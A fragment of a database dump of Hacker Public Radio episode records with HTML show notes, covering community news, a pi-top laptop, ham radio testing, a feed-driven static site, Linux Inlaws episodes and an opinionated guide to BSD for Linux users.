href=\"https://hackerpublicradio.org/eps/hpr3901/index.html#comments\" target=\"_blank\">hpr3901</a></strong>\n(2023-07-17) \"<em>Time Managment</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3901/index.html#1\" target=\"_blank\">Comment 1</a>:\nReto on 2023-07-18:\n\"aCalendar on Android\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3902/index.html#comments\" target=\"_blank\">hpr3902</a></strong>\n(2023-07-18) \"<em>Introduction to a new series on FFMPEG</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0300.html\" target=\"_blank\">Mr. Young</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3902/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-29:\n\"ffmpeg\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3903/index.html#comments\" target=\"_blank\">hpr3903</a></strong>\n(2023-07-19) \"<em>Why I don\'t love systemd (yet)</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0073.html\" target=\"_blank\">deepgeek</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3903/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-29:\n\"systemd\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html#comments\" target=\"_blank\">hpr3904</a></strong>\n(2023-07-20) \"<em>How to make friends</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-29:\n\"Friends\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html#2\" target=\"_blank\">Comment 2</a>:\nBeeza on 2023-08-02:\n\"Frienships\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3909/index.html#comments\" target=\"_blank\">hpr3909</a></strong>\n(2023-07-27) \"<em>Permission tickets. </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0398.html\" target=\"_blank\">one_of_spoons</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3909/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-29:\n\"Great show, keep em coming!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3910/index.html#comments\" target=\"_blank\">hpr3910</a></strong>\n(2023-07-28) \"<em>Playing Civilization II</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3910/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-29:\n\"Game mechanics\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://lists.hackerpublicradio.com/pipermail/hpr/2023-July/thread.html\" target=\"_blank\">https://lists.hackerpublicradio.com/pipermail/hpr/2023-July/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h2 id=\"the-hpr-static-site\">The HPR Static Site</h2>\n<p>As mentioned in the last Community News episode, the HPR database and\nwebsite was moved to a new server, and the static site generator written\nby <code>Rho`n</code> was used to generated the non-interactive part of\nthe website.</p>\n<p>Since then, there has been a process of adapting the software to the\nnew configuration. Unfortunately <code>Rho`n</code> has not been\navailable during this process, but we are gradually learning our way\naround his excellent software and making changes to suit our needs.</p>\n<p>If you spot any problems or have ideas for new features, please raise\nissues on the Gitea repository at: <a\nhref=\"https://repo.anhonesthost.net/rho_n/hpr_generator/issues\"\nclass=\"uri\">https://repo.anhonesthost.net/rho_n/hpr_generator/issues</a>.</p>\n<h2 id=\"reserve-queue\">Reserve Queue</h2>\n<p>A policy change is required in the use of the reserve queue. When\nthere are unfilled slots between 5 and 7 days in the future, episodes in\nthis queue will be used to fill them.</p>\n<p>This extra time is required because of the time it can take to\nprocess a show and load it to the Internet Archive.</p>\n<h2 id=\"bram-moolenaar-author-of-vim-dies\">Bram Moolenaar, author of Vim\ndies</h2>\n<p>There was an announcement from Bram\'s family today (2023-08-05) that\nhe died on August 3<sup>rd</sup> 2023 from a medical problem that\nworsened recently.</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Bram_Moolenaar\">Bram\nMoolenar\'s page on Wikipedia</a></p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3643,'2022-07-20','My computing history and the software I use',3345,'Rambling about my computing history and tech stack. ','<p>I introduce myself by describing my computing history and tech stack. Disjointed rambling and tangentially related thoughts ensue.</p>\n',406,0,1,'CC-BY-SA','UNIX, Linux, first show, BSD, Android',0,0,1),
(3658,'2022-08-10','Linux Inlaws S01E62: HPR\'s inner workings',1975,'An overview of HPRs inner workings and stats based on a ludicrous claim by the Inlaws','<p>In this episode our two ageing heroes explore the inner workings of a podcast (or podcast hosting platform depending on your perspective) called Hacker Public Radio. Yes, the platform that the Inlaws have been using since the very inception of this rapidly growing FLOSS podcast content. Wondering what the heck this episode is all about, why exactly Martin and Chris are talking about this now and the importance of statistics, lies and damned lies? Then just listen to this episode. You may also find out the difference between mere caching and content syndication. Never mind  HPR\'s inner workings.</p>\n<h2>Links:</h2>\n<ul>\n<li>hpr3648: <a href=\"https://hackerpublicradio.org/eps.php?id=3648\" target=_blank>https://hackerpublicradio.org/eps.php?id=3648</a></li>\n<li>The Internet Archive: <a href=\"https://archive.org\" target=_blank>https://archive.org</a></li>\n<li>Extraterrestrial sheep: <a href=\"https://aliens.fandom.com/wiki/Sheep_(Kaeloo)\" target=_blank>https://aliens.fandom.com/wiki/Sheep_(Kaeloo)</a></li>\n<li>QuickAxe: <a href=\"https://fireemblem.fandom.com/wiki/Quick_Axe\" target=_blank>https://fireemblem.fandom.com/wiki/Quick_Axe</a></li>\n<li>Linux Episode S01E35 (The Free Software Foundation Europe): <a href=\"https://hackerpublicradio.org/eps.php?id=3388\" target=_blank>https://hackerpublicradio.org/eps.php?id=3388</a></li>\n<li>Ford v Ferrari: <a href=\"https://www.imdb.com/title/tt1950186/?ref_=nv_sr_srsg_0\" target=_blank>https://www.imdb.com/title/tt1950186/?ref_=nv_sr_srsg_0</a></li>\n<li>Book of Monsters: <a href=\"https://www.imdb.com/title/tt7260818/?ref_=fn_al_tt_1\" target=_blank>https://www.imdb.com/title/tt7260818/?ref_=fn_al_tt_1</a></li>\n</ul>\n',384,111,1,'CC-BY-SA','Lies, damned lies, stats, projections, CDNs, Ford, Ferrari, Monsters, Books',0,0,1),
(3679,'2022-09-08','Linux Inlaws S01E64: Non-profits in the US: A closer look at 501(c)s',2177,'The Ins and Outs of 501(c)s','<p>In this episode, Martin and Chris shed more light on the riveting subject of non-profit\nand not-for-profit organisations especially in the US with a special focus on the all-\nimportant topic of tax implications. Warning: Due to the fast-paced and gripping never\nmind explicit nature of this topic, people with sleeping disabilities or who are easily startled\n/ offended by graphic content should consult a member of the medical profession to ensure\nthat they are capable of handling this episode. You have been warned.</p>\n<h2>Links:</h2>\n<ul>\n<li>501(c) overview: <a href=\"https://en.wikipedia.org/wiki/501(c)_organization\" target=_blank>https://en.wikipedia.org/wiki/501(c)_organization</a></li>\n<li>501(c)3: <a href=\"https://en.wikipedia.org/wiki/501(c)(3)_organization\" target=_blank>https://en.wikipedia.org/wiki/501(c)(3)_organization</a></li>\n<li>NATO 5th article: <a href=\"https://www.nato.int/cps/en/natohq/topics_110496.htm\" target=_blank>https://www.nato.int/cps/en/natohq/topics_110496.htm</a></li>\n<li>Johnson amendment: <a href=\"https://en.wikipedia.org/wiki/Johnson_Amendment\" target=_blank>https://en.wikipedia.org/wiki/Johnson_Amendment</a></li>\n<li>St IGNUcius / Church of Emacs: <a href=\"https://stallman.org/saint.html\" target=_blank>https://stallman.org/saint.html</a></li>\n<li>Richard Stallman rejoins the FSF board: <a href=\"https://www.theregister.com/2021/03/22/richard_stallman_back_on_fsf_board\" target=_blank>https://www.theregister.com/2021/03/22/richard_stallman_back_on_fsf_board</a></li>\n<li>The Undeclared War: <a href=\"https://en.wikipedia.org/wiki/The_Undeclared_War\" target=_blank>https://en.wikipedia.org/wiki/The_Undeclared_War</a></li>\n<li>Serviettenknödel: <a href=\"http://gingerandbread.com/2014/12/19/serviettenknodel-a-dumpling-for-special-occasions\" target=_blank>http://gingerandbread.com/2014/12/19/serviettenknodel-a-dumpling-for-special-occasions</a></li>\n<li>HPR website project (discussion on the mailing list): <a href=\"http://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-July/thread.html\" target=_blank>http://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-July/thread.html</a></li>\n</ul>\n',384,111,1,'CC-BY-SA','501(c)3, 501(c)6, non-profits, not-for-profits, Church of Emacs, RMS, Serviettenknödel',0,0,1),
(3644,'2022-07-21','Pinball Machine Repair Tips',1483,'As a first show, I introduce myself and show some repairability tips for 90s pinball machines','<p>After the introduction, as this is my first show, i tell you how i got my current Pinball machine, an \"Indiana Jones, the Pinball adventure\" from Williams.</p>\n<p>I suggest tips to anyone trying to repair one, or simply to curious people out there.</p>\n',407,103,1,'CC-BY-SA','first show,pinball,repair,electronics,90s',0,0,1),
(3646,'2022-07-25','arm, slackware, forth oh my!',834,'a description of a laptop ','<p><em>Image 1</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3646/image1.jpg\" alt=\"Image 1\" /></p>\n<p><em>Image 2</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3646/image2.jpg\" alt=\"Image 2\" /></p>\n<p><em>Image 3</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3646/image3.jpg\" alt=\"Image 3\" /></p>\n<h3 id=\"pi-top-the-company\">pi-top the company</h3>\n<ul>\n<li>make educational products using the rasp-pi</li>\n<li>uk based company 24 million $ funding 3 employees</li>\n<li>products\n<ul>\n<li>pitop ceed</li>\n<li>pitop 2 laptop</li>\n<li>pitop 3 laptop</li>\n<li>pitop 4 case+ for rpi4</li>\n<li>robot kit, etc</li>\n</ul></li>\n</ul>\n<h3 id=\"my-pi-top-3\">my pi-top 3</h3>\n<ul>\n<li>had a pi-top 2, keyboard was bad, battery was worse</li>\n<li>ebay purchase pi-top 3, wanted to try new form factor and see if the battery was better</li>\n<li>came with experimentor kit, included a slide in solderless breadboard, and an rpi!</li>\n<li>description</li>\n<li>modifications\n<ul>\n<li>slackware install,lost some of the built in scripts that monitored the system, especially battery monitoring</li>\n<li>added a daughter board with an atmega328 running forth to do the battery monitoring</li>\n<li>added an rtc ds1307, installed via instructions from the sarpi website</li>\n</ul></li>\n<li>pluses\n<ul>\n<li>better keyboard, with better mechanical design</li>\n<li>better battery life, charging great</li>\n<li>better screen</li>\n</ul></li>\n<li>minuses\n<ul>\n<li>charging board seems closed source, that would be the keys to the kingdom</li>\n<li>old software hard to come by</li>\n<li>stuck in rpi3 form factor</li>\n</ul></li>\n<li>plans\n<ul>\n<li>+upgrade to slackware 15-64 bit+</li>\n<li>leave the rpi and go to a pineboard</li>\n<li>reverse engineer charging board?</li>\n<li>easier to modify case to accept new hardware</li>\n</ul></li>\n</ul>\n',326,0,0,'CC-BY-SA','raspberry pi, hardware',0,0,1),
(3653,'2022-08-03','Hello HPR Community',53,'Introducing myself to the HPR community','<p>Long time listener, first time caller...</p>\n',408,0,0,'CC-BY-SA','Introductions',0,0,1),
(3668,'2022-08-24','Linux Inlaws S01E63: John Hawley on kernel dot org and other shenanigans',5514,'An interview with John Hawley of kernel.org fame','<p>In this episode Martin and Chris host John Hawley of kernel.org fame. The\ndiscussion centers around Python, the royal British family and other FLOSS\ntopics such as some break-away colonies like the US, version control systems,\nwireless wikis and containers. Never mind Python. Did I mention Python? :-)\nAnd perhaps VMware. Ever wondered why early versions of git just gobbled up\nyour main memory? You may or may not find the answer in this episode. Or its\nouttakes...</p>\n\n<h2>Links:</h2>\n<ul>\n<li>The Linux kernel: <a href=\"https://kernel.org\" target=_blank>https://kernel.org</a></li>\n<li>The wireless subsystem: <a href=\"https://wireless.kernel.org\" target=_blank>https://wireless.kernel.org</a></li>\n<li>git: <a href=\"https://git-scm.com\" target=_blank>https://git-scm.com</a></li>\n<li>Linux kernel VCS before git: <a href=\"https://www.linuxjournal.com/content/git-origin-story\" target=_blank>https://www.linuxjournal.com/content/git-origin-story</a></li>\n<li>xkcd on git: <a href=\"https://xkcd.com/1597\" target=_blank>https://xkcd.com/1597</a></li>\n<li>Guido @ Microsoft: <a href=\"https://twitter.com/gvanrossum/status/1326932991566700549\" target=_blank>https://twitter.com/gvanrossum/status/1326932991566700549</a></li>\n<li>Episode on The Halloween Documents: <a href=\"https://linuxinlaws.eu/archive.html#S01\" target=_blank>https://linuxinlaws.eu/archive.html#S01</a></li>\n<li>TIOBE index: <a href=\"https://www.tiobe.com/tiobe-index\" target=_blank>https://www.tiobe.com/tiobe-index</a></li>\n<li>PhotonOS: <a href=\"https://vmware.github.io/photon/assets/files/html/3.0/Introduction.html\" target=_blank>https://vmware.github.io/photon/assets/files/html/3.0/Introduction.html</a></li>\n<li>BusyBox: <a href=\"https://www.busybox.net\" target=_blank>https://www.busybox.net</a></li>\n<li>Python Software Foundation: <a href=\"https://www.python.org/psf\" target=_blank>https://www.python.org/psf</a></li>\n<li>Google Summier of Code: <a href=\"https://summerofcode.withgoogle.com\" target=_blank>https://summerofcode.withgoogle.com</a></li>\n<li>trace-cruncher: <a href=\"https://github.com/vmware/trace-cruncher\" target=_blank>https://github.com/vmware/trace-cruncher</a></li>\n<li>Zero Dark Thirty: <a href=\"https://www.imdb.com/title/tt1790885/?ref_=nv_sr_srsg_0\" target=_blank>https://www.imdb.com/title/tt1790885/?ref_=nv_sr_srsg_0</a></li>\n<li>Command Line Heroes: <a href=\"https://www.redhat.com/en/command-line-heroes/about\" target=_blank>https://www.redhat.com/en/command-line-heroes/about</a></li>\n</ul>\n',384,111,1,'CC-BY-SA','git, kernel.org, GSoC, Command Line Heroes, Zero Dark Thirty, trace cruncher',0,0,1),
(3654,'2022-08-04','Use the data in the Ogg feed to create a website.',807,'How much of of site can I make using only the data from the feed?','<h1 id=\"make-a-website-using-the-hpr-rss-feed\">Make a website using the HPR RSS Feed</h1>\n<p>Welcome to part II of my experiment in how much can be done with the data ion the HPR feed</p>\n<p>In my previous episode <a href=\"https://hackerpublicradio.org/eps.php?id=3637\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3637</a> I discussed taking the data from the HPR feed and stuffing the useful bits into a sqlite database.</p>\n<p>Today, Ill discuss some of my adventures generating a static site using the feed data</p>\n<h2 id=\"lessons-learned\">Lessons learned</h2>\n<ul>\n<li>Maybe skip DB step</li>\n<li>I tend to over use Markdown - sometimes HTML is Better</li>\n<li>So much content on HPR</li>\n</ul>\n<h2 id=\"tech\">Tech</h2>\n<p>My original intent was to create markdown files that could be feed into an existing static site generator, something like Hugo or Jekyll.</p>\n<p>I started with markdown but had to add too much html.</p>\n<p>I\'m am a bit fan of using Markdown, but it did not fit this particular use case</p>\n<ul>\n<li>Peewee - ORM - <a href=\"https://docs.peewee-orm.com\" class=\"uri\">https://docs.peewee-orm.com</a></li>\n<li>Jinja - Templates - <a href=\"https://jinja.palletsprojects.com\" class=\"uri\">https://jinja.palletsprojects.com</a></li>\n</ul>\n<h2 id=\"feed-as-source-of-data\">Feed as source of data</h2>\n<p>I added some HTML for header footer</p>\n<ul>\n<li>Header\n<ul>\n<li>bootstrap CSS columns</li>\n<li>hpr logo</li>\n</ul></li>\n<li>footer\n<ul>\n<li>Links</li>\n<li>Copyright</li>\n</ul></li>\n</ul>\n<h2 id=\"pages\">Pages</h2>\n<ul>\n<li>Main page listing the most recent shows</li>\n<li>A page listing all shows</li>\n<li>Individual pages for each show</li>\n<li>A page listing all the hosts</li>\n<li>individual page for each host</li>\n</ul>\n<p>One thing I would like to see on the HPR page is a count of how many shows there are for each host. I have enough data, so I added show counts.</p>\n<h2 id=\"missing-data\">Missing data</h2>\n<ul>\n<li>host profiles - web page, avatars</li>\n<li>tags</li>\n<li>series</li>\n<li>Summary - The short 100 character summary of what your show is about</li>\n<li>License</li>\n<li>Other pages on the HPR site.\n<ul>\n<li>What you need to know</li>\n<li>How to help out</li>\n<li>Requested topics</li>\n<li>...</li>\n</ul></li>\n</ul>\n<h2 id=\"how-does-it-work\">How does it work</h2>\n<ul>\n<li>Peewee to read from sqlite file</li>\n<li>Python aggregates the appropriate data</li>\n<li>Jinja Templates for\n<ul>\n<li>index - passed data from most recent shows</li>\n<li>All shows</li>\n<li>host page</li>\n<li>corespondents - all host</li>\n</ul></li>\n</ul>\n<h3 id=\"todo\">TODO</h3>\n<ul>\n<li>Incorporate Comment feed</li>\n<li>Generate static copy of RSS feed.</li>\n<li>Copy content from HPR pages that are not in the RSS feed.</li>\n<li>Generate Tags from Keywords in the show notes.</li>\n<li>Only use the Full Feed on the first run.</li>\n</ul>\n<h3 id=\"links\">Links</h3>\n<ul>\n<li>Project - <a href=\"https://gitlab.com/norrist/hprfeed2db\" class=\"uri\">https://gitlab.com/norrist/hprfeed2db</a> - Suggestions/Pull Requests are welcome</li>\n<li>Example site - <a href=\"https://hpr.norrist.xyz/\" class=\"uri\">https://hpr.norrist.xyz/</a></li>\n</ul>\n',342,0,0,'CC-BY-SA','python, rss, sqlite',0,0,1),
(3661,'2022-08-15','Ham Radio testing',361,'Study and testing for the ARRL Ham license','<h4 id=\"study-tools\">Study tools</h4>\n<ul>\n<li><a href=\"https://hamstudy.org\" title=\"HamStudy.org\">HamStudy.org</a></li>\n<li>HamStudy.org Offline App\n<ul>\n<li><a href=\"https://play.google.com/store/apps/details?id=org.hamstudy.mobile\" title=\"HamStudy Android app\">Android app link</a></li>\n</ul></li>\n</ul>\n<h4 id=\"arrl-american-radio-relay-league\">ARRL (American Radio Relay League)</h4>\n<ul>\n<li><a href=\"http://www.arrl.org/find-an-amateur-radio-license-exam-session\" title=\"Find an Amateur Radio License Exam Session\">ARRL Find an Amateur Radio License Exam Session</a></li>\n</ul>\n<h4 id=\"pictures\">Pictures</h4>\n<p><em>Picture of sign on the test day</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3661/Test_day_sign.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3661/Test_day_sign_thumbnail.png\" alt=\"Picture of sign on the test day\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> </p>\n<p><em>Picture of Masonic Lodge sign</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3661/Lodge_sign.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3661/Lodge_sign_thumbnail.png\" alt=\"Picture of Masonic Lodge sign\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> </p>\n',318,43,0,'CC-BY-SA','ham radio, ARRL, testing',0,0,1),
(3655,'2022-08-05','BSD for Linux users',4073,'I attempt to explain the wacky and wonderful world of BSD in a Linux friendly way','<h1 >UNIX, Linux, and BSD</h1>\n<blockquote><p><q>Linux was created by PC users attempting to use mainframe UNIX. BSD was created by mainframe UNIX users attempting to use a PC.</q></p></blockquote>\n<p>BSD is what I like to call a “Pedigree UNIX”, meaning that it is a pure blooded descendant of AT&amp;T UNIX. Although all of the original AT&amp;T code has been re-written so a permissive license, the heritage persists.</p>\n<p>In contrast to Linux (which shares no original Bell Labs code), BSD was originally all Labs code.</p>\n<h1 >BSD in the wild</h1>\n<p>BSD style licensing is quite simple to understand compared to the tome that is the GPL. Interpreting it usually goes something like follows:</p>\n<blockquote><p><q>Do whatever the hell you want with this code, just don’t blame me when it breaks something and don’t claim you wrote it</q></p></blockquote>\n<p>Permissive licensing means that various companies can put lipstick on the UNIX pig and falsely assert that it’s anything other than lipstick on the UNIX pig. Not that UNIX is a pig, but you cannot disguise a pig with lipstick. Those burdened with the gift of sight and knowledge can spot a UNIX system quite easily.</p>\n<ul >\n<li>Apple software is basically stolen BSD</li>\n<li>Windows TCP/IP stack (and ftp/rcp/rsh/ssh/scp and other various non-trash networking protocols) is basically stolen BSD</li>\n<li>Sony PlayStation is basically stolen BSD</li>\n<li>Nintendo switch is basically stolen BSD</li>\n<li>a million others that I can’t be bothered to list because they’re either abandonware or are embedded in your e-toaster and internet enabled dishwasher so no one cares</li>\n</ul>\n<h1 >Interacting with BSD guys</h1>\n<p>Most Linux enthusiasts are missionaries. They are generally helpful and seek to guide the computing neophyte into the inner circle of FSF initiates.</p>\n<p>The BSD guys tend to be like hermits. They don’t care if you use their code, they only care that the code works for them. When you ask for help, a typical response will be “did you even read the error logs?” or “did you even RTFM? What about supplemental documentation? We didn’t write TFM just so you could go online and ask something clearly documented in TFM.”</p>\n<p>Not all BSD guys are bitter, but you really should consult available resources before asking questions</p>\n<h1 >Forking vs distros</h1>\n<p>In Linux land, all the distros are basically the same with varying coats of paint. We call these distributions because all “implementations” of linux are nearly identical code bases built with varying compile time options.</p>\n<p>In BSD land, distros don’t exist. Free/Net/Open are entirely independent and don’t share a common upstream. They are forks of primordial BSD that run separate kernels, separate userlands, etc. Although code is shared amongst each other, a statically linked binary can’t simply be dumped from one to another and still run as it would in Linux land.</p>\n<p>Meta-distos of FreeBSD do exist but they are short lived unless they have corporate backers.</p>\n<h1 >Idiot’s guide to picking a BSD</h1>\n<blockquote><p><q>I want basically Linux desktop out of the box but with a BSD kernel so I can look cool when I post a neofetch screenshot to the /g/ desktop thread!!</q></p></blockquote>\n<p>Selecting a FreeBSD fork that comes with a desktop is your goto. The currently maintained desktop distros are HelloSystems, GhostBSD, NomadBSD, and MidnightBSD.</p>\n<blockquote><p><q>I want a viable desktop operating system</q></p></blockquote>\n<p>FreeBSD with a non-GNOME DE is fairly reliable. I’ve had success with KDE, XFCE, and various tiling window managers. GNOME is too reliant on systemd so the port is janky.</p>\n<blockquote><p><q>I want something to learn by example with</q></p></blockquote>\n<p>OpenBSD is a great learning platform. The source code for userland utils is simple, short, and generally free from OS specific function calls. RTFM goes by the wayside when you easily RTFSC.</p>\n<blockquote><p><q>I want to prevent foot shooting incidents</q></p></blockquote>\n<p>OpenBSD eliminates many foot shooting scenarios by being a thorn in the side of the user who wants to do stupid things</p>\n<blockquote><p><q>I want to run UNIX to an obscure device</q></p></blockquote>\n<p>OpenBSD runs on a lot of architectures: i386, amd64, arm64, arm7, alpha, sparc64, risc64, ppc64, etc. The devs self-host these ports (ie build the release on a physical processor instead of cross compiling). This means that the alpha port is actually built on a VAX machine, the sparc port is actually built on a sparc machine, etc.</p>\n<p>NetBSD runs on everything.</p>\n<blockquote><p><q>I can’t decide!!! Pick one for me!!!</q></p></blockquote>\n<p>Just go with FreeBSD. It feels a lot like old Debian.</p>\n<h1 >Hardware</h1>\n<p>Lenovo Thinkpads are bulletproof. Buy something on ebay. Dell desktops generally work quite well. Intel components are most stable. You will suffer less if you can find a pure Intel machine. The biggest things to look for are an intel CPU, intel wireless chipset, intel integrated graphics, and an intel sticker. Vpro vs no vpro doesn’t seem to make a difference in my anecdotal experience.</p>\n<blockquote><p><q>But what about a GPU????</q></p></blockquote>\n<p>no.</p>\n<h1 >FreeBSD</h1>\n<h3 >Goal: general purpose, easy to use operating system</h3>\n<h3 >Use cases: server, desktop, NAS, hypervisor</h3>\n<h3 >Features:</h3>\n<ul >\n<li>Core OS\n<ul >\n<li>system feels clean and organized.\n<ul >\n<li>Everything required to boot the system is in /</li>\n<li>Everything not required to boot the system is in /usr/local</li>\n</ul></li>\n<li>ZFS boot environments allow modification and upgrading without worrying</li>\n<li>Familiar enough to linux users</li>\n<li>System feels well integrated instead of hacked together like a GNU+/Linux</li>\n</ul></li>\n<li>storage\n<ul >\n<li>UFS is dead, long live ZFS (the only actually good RAID)</li>\n<li>Disk encryption via GELI and encrypted ZVOLS</li>\n</ul></li>\n<li>Third party software\n<ul >\n<li>Largest ports system of the BSDs</li>\n<li>Can install precompiled packages with the pkg utility or compile yourself via the ports tree</li>\n</ul></li>\n<li>Jails\n<ul >\n<li>Like a chroot but actually secure</li>\n<li>Like docker but without the aspect of downloading random stuff from github</li>\n<li>all jails share a kernel but have separate hostnames, ip addrs, etc</li>\n</ul></li>\n<li>Virtualization\n<ul >\n<li>bhyve hypervisor, similar to kvm</li>\n</ul></li>\n<li>Security\n<ul >\n<li>Capsicum (sandboxing framework)</li>\n<li>ACLs</li>\n</ul></li>\n<li>OS compat layers\n<ul >\n<li>Linux compat layer (can even run steam).</li>\n<li>wine</li>\n</ul></li>\n<li>Documentation\n<ul >\n<li><a href=\"https://docs.freebsd.org/en/books/handbook/\">FreeBSD handbook</a></li>\n</ul></li>\n</ul>\n<h3 >Detriments:</h3>\n<ul >\n<li>storage\n<ul >\n<li>UFS is not journaled by default, just use ZFS</li>\n</ul></li>\n<li>Virtualization\n<ul >\n<li>there is a virtualbox port</li>\n</ul></li>\n<li>Security\n<ul >\n<li>Fast rather than secure by default</li>\n<li>read security(7) and you’ll be fine</li>\n</ul></li>\n</ul>\n<h1 >OpenBSD</h1>\n<h3 >Goal: simplicity, portability, standardization, correctness, proactive security, and integrated cryptography</h3>\n<h3 >Use Cases: Networking appliances, desktops, servers</h3>\n<h3 >Merits:</h3>\n<ul >\n<li>Core OS\n<ul >\n<li>webcam and microphone disabled by default</li>\n</ul></li>\n<li>Security\n<ul >\n<li>API changes to prevent foot shooting (ie strlcpy and strlcat because string functions in C are a memory leak waiting to happen).</li>\n<li>kernel is randomly relinked and randomized at boot time</li>\n<li>Memory protection\n<ul >\n<li>W^X protection means that memory is either exclusively writable or exclusively executable</li>\n<li>malloc’d memory is randomly allocated (bonus: makes buggy programs segfualt loudly)</li>\n</ul></li>\n<li>Crypto\n<ul >\n<li>full disk encryption (including swap)</li>\n<li>various algos</li>\n<li>TCP/IP stack randomizes things to reduce predictibality</li>\n</ul></li>\n<li>Xenocara\n<ul >\n<li>X11 fork</li>\n<li>privilege separation (ie all Xsessions don’t run as root)</li>\n</ul></li>\n<li>Pledge/unveil syscalls\n<ul >\n<li>pledge restricts process capabilities, kernel kills misbehaving processes</li>\n<li>unveil restricts filesystem access to a minimul level</li>\n</ul></li>\n<li>All of the standard daemons run in a chroot with privilege separation</li>\n<li>ASLR</li>\n<li>A million other things</li>\n</ul></li>\n<li>Third party software\n<ul >\n<li>Everything you need is in the base system. Some of what you want is available via ports or pkg_add</li>\n</ul></li>\n<li>Subprojects:\n<ul >\n<li>CARP, doas (like sudo but less spaghetti), OpenBSD httpd, LibreSSL, OpenBGPD, OpenNTPD, OpenSMTPD, OpenSSH, pf (the only easy to use firewall), spamd (email filter that plugs into pf), a million other things</li>\n</ul></li>\n<li>Virtualization\n<ul >\n<li>vmm and vmd</li>\n</ul></li>\n<li>Documentation\n<ul >\n<li><a href=\"https://www.openbsd.org/faq/\">FAQ</a></li>\n<li><a href=\"https://www.openbsdhandbook.com/\">Handbook</a></li>\n</ul></li>\n<li>Source code is the only good “learn by example” for C</li>\n</ul>\n<h3 >Demerits:</h3>\n<ul >\n<li>Security features can cause slowness</li>\n<li>sometimes you can’t shoot your foot even if you really really want to</li>\n<li>critics claim it’s all security theater</li>\n<li>Requires opening vulnerabilities back up if you want a “Just Werks™” Linux desktop experience</li>\n<li>No MAC</li>\n</ul>\n<h1 >NetBSD</h1>\n<h3 >Goal: clean and careful design, scalability, portability</h3>\n<h3 >Use cases: server, embedded, desktop if you’re a flagellant</h3>\n<h3 >Features:</h3>\n<ul >\n<li>Portability\n<ul >\n<li><a href=\"https://netbsd.org/ports/\">It actually runs everywhere</a></li>\n<li>Designed for cross compiling (via build.sh)</li>\n</ul></li>\n<li><a href=\"https://www.pkgsrc.org/\">pkgsrc</a>\n<ul >\n<li>UNIX and arch agnostic third party packing framework</li>\n</ul></li>\n<li>virtualization\n<ul >\n<li>xen</li>\n<li>nvmm (similar to kvm, works with qemu)</li>\n</ul></li>\n<li>storage\n<ul >\n<li>a bunch of filesystems, including journaling UFS and ZFS</li>\n<li>LVM</li>\n</ul></li>\n<li>entirely POSIX compliant</li>\n<li>kernel is scriptable with Lua</li>\n</ul>\n<h3 >Demerits:</h3>\n<ul >\n<li>haven’t used it enough to die the death of a thousand papercuts</li>\n</ul>\n\n',406,0,1,'CC-BY-SA','BSD, UNIX, FreeBSD, OpenBSD, NetBSD',0,0,1),
